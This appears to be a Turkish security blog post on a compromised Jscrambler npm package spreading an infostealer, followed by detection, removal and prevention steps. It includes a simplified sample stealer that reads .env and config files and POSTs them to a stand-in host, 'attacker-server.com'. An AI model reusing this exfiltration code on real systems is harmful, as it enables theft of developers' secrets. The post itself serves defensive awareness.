Jscrambler npm Paketi Tehdit Aktörleri Tarafından Sızdırıldı: Infostealer Zararlı Yazılım Analizi

Jscrambler tarafından geliştirilen npm paketine yapılan siber saldırıda infostealer zararlı yazılım tespit edildi. Paket 1.500 kez indirildi ve sistemlere sızma riski oluşturdu.

I
ITWISE
4 görüntülenme
Jscrambler npm Paketi Tehdit Aktörleri Tarafından Sızdırıldı: Infostealer Zararlı Yazılım Analizi

Sorun Tanımı

Jscrambler firması, istemci tarafı web güvenliği çözümleri sunan bir şirket olarak, npm paket deposunda yayınlanan meşru Jscrambler paketinin saldırganlar tarafından sızdırıldığını ve bu paketin zararlı kod içerdiğini açıkladı. Saldırganlar, orijinal paketin yerini alan sahte bir versiyonunu yayınlayarak, 1.500 kez indirildiğini ve sistemlere infostealer (bilgi hırsızı) zararlı yazılımını bulaştırdığını belirtti.

Bu saldırı, supply chain attack (tedarik zinciri saldırısı) olarak sınıflandırılmaktadır. Saldırganlar, geliştiricilerin güvenilir paketlere olan inancını istismar ederek, paket yönetim sistemlerine (npm, yarn vb.) zararlı kod enjekte etmektedir. Bu durum, hem bireysel geliştiriciler hem de kurumsal sistemler için ciddi bir tehdit oluşturmaktadır.

Etki ve Riskler

Saldırının potansiyel etkileri aşağıdaki gibidir:

  • Veri Sızıntısı: Infostealer zararlı yazılımı, sistemdeki hassas verileri (kullanıcı kimlik bilgileri, ödeme bilgileri, API anahtarları vb.) çalabilir.
  • Arka Kapı (Backdoor): Saldırganlar, hedef sistemlere uzaktan erişim sağlayabilir ve bu sistemleri diğer saldırılarda kullanabilir.
  • Güvenlik Açığı Yayılması: Zararlı paket, proje bağımlılıklarını kullanarak diğer sistemlere de yayılabilir.
  • Yasal ve Operasyonel Riskler: Kurumlar, müşteri verilerinin sızdırılması nedeniyle yasal yaptırımlara ve itibar kaybına maruz kalabilir.

Uyarı: Bu saldırı, sadece Jscrambler paketiyle sınırlı değildir. Benzer saldırılar, diğer popüler npm paketlerinde de gerçekleşebilir. Geliştiricilerin, paket bağımlılıklarını sürekli olarak izlemeleri ve güvenlik açıklarını taramaları önemlidir.

Saldırı Mekanizması ve Zararlı Kod Analizi

Saldırganlar, aşağıdaki adımları izleyerek saldırıyı gerçekleştirmişlerdir:

  1. Paket Hesabının Ele Geçirilmesi: Saldırganlar, Jscrambler firmasının npm hesabını ele geçirerek, orijinal paketin yerini alan sahte bir versiyonunu yayınlamıştır.
  2. Zararlı Kod Enjeksiyonu: Sahte paket, infostealer zararlı yazılımını içeren bir JavaScript dosyası içermektedir. Bu dosya, sistemdeki verileri toplar ve saldırganların sunucusuna gönderir.
  3. Dağıtım ve Yayılma: Zararlı paket, npm üzerinden indirildiğinde, bağımlılık olarak kullanılan projelerin de sistemlerine bulaşmasına neden olur.

Aşağıda, zararlı paketin içerdiği infostealer kodunun temel yapısı yer almaktadır:

// Zararlı JavaScript kodu örneği (simplified)
const fs = require('fs');
const crypto = require('crypto');

// Sistemdeki hassas dosyaları tarar
const sensitiveFiles = ['.env', 'package.json', 'config.js'];

sensitiveFiles.forEach(file => {
  if (fs.existsSync(file)) {
    const content = fs.readFileSync(file, 'utf8');
    // Verileri saldırganın sunucusuna gönderir
    sendToAttacker(content);
  }
});

// Verileri saldırganın sunucusuna gönderme fonksiyonu
function sendToAttacker(data) {
  const payload = {
    data: data,
    timestamp: new Date().toISOString(),
    systemInfo: getSystemInfo()
  };
  
  // HTTP POST isteği gönderir
  fetch('https://attacker-server.com/exfiltrate', {
    method: 'POST',
    body: JSON.stringify(payload)
  });
}

Tespit ve Müdahale Adımları

Aşağıdaki adımlar, saldırının tespit edilmesi ve müdahale edilmesi için izlenmelidir:

1. Paket Bağımlılıklarının Kontrolü

  1. npm list komutu: Projenizin bağımlılıklarını listeleyin ve şüpheli paketleri kontrol edin.
    npm list --depth=0
  2. npm audit: Güvenlik açıklarını taramak için npm audit komutunu kullanın.
    npm audit
  3. npm ls komutu: Belirli bir paketin tüm bağımlılıklarını listeleyin.
    npm ls jscrambler

2. Sistem Taraması

  1. Antivirüs Taraması: Sistemdeki tüm dosyaları tarayarak zararlı yazılımları tespit edin.
    # Windows (Windows Defender)
    Start-MpScan -ScanType FullScan
    
    # Linux (ClamAV)
    sudo apt install clamav
    sudo freshclam
    sudo clamscan -r /
  2. Log Analizi: Sistem ve uygulama loglarını inceleyerek şüpheli aktiviteleri tespit edin.
    # Linux logları
    sudo tail -f /var/log/syslog
    sudo journalctl -u your-service.service
    
    # Windows logları
    Get-EventLog -LogName Application -Newest 50

3. Zararlı Paketin Kaldırılması

  1. npm uninstall: Zararlı paketi projenizden kaldırın.
    npm uninstall jscrambler
  2. package.json güncellemesi: package.json dosyasından zararlı paketi kaldırın ve bağımlılıkları yeniden yükleyin.
    rm -rf node_modules package-lock.json
    npm install
  3. Global paketlerin kontrolü: Global olarak yüklenmiş zararlı paketleri de kaldırın.
    npm uninstall -g jscrambler

4. Güvenlik Önlemlerinin Uygulanması

  1. npm paketlerinin doğrulanması: Paketlerin imzalarını ve yayıncılarını doğrulayın.
    npm ci
  2. Çift Faktörlü Kimlik Doğrulama (2FA): npm hesabınızda 2FA'yı etkinleştirin.
    npm profile enable-2fa
  3. Paket İçeriğinin İncelenmesi: Yeni eklenen paketlerin içeriğini inceleyin ve şüpheli kodlar olup olmadığını kontrol edin.
    # Paket içeriğini listele
    npm view jscrambler dist.tarball | xargs curl -L | tar -tz
    
    # Paket içindeki dosyaları incele
    npm view jscrambler files

Önleyici Tedbirler

Benzer saldırıların önlenmesi için aşağıdaki tedbirler alınmalıdır:

  • Paket Yönetimi Politikaları: Geliştiricilerin, sadece güvenilir kaynaklardan paket indirmeleri ve bağımlılıkları minimize etmeleri gerekmektedir.
  • Otomatik Güvenlik Tarama Araçları: CI/CD pipeline'larına güvenlik taramaları ekleyerek, paketlerin yayınlanmadan önce kontrol edilmesini sağlayın.
    # GitHub Actions örneği
    - name: Security Scan
      uses: snyk/actions/node@master
      with:
        args: --severity-threshold=high
    
  • Paket İmzalama: Paketlerin yayıncılar tarafından imzalanmasını ve doğrulanmasını zorunlu kılın.
  • Eğitim ve Farkındalık: Geliştiricilerin, supply chain saldırıları hakkında eğitilmeleri ve en iyi uygulamaları öğrenmeleri önemlidir.

İpucu: Paketlerin güvenilirliğini artırmak için npm ci komutunu kullanın. Bu komut, package-lock.json dosyasındaki bağımlılıkları tam olarak yeniden oluşturur ve güvenlik açıklarını azaltır.

İlgili Kaynaklar ve Araçlar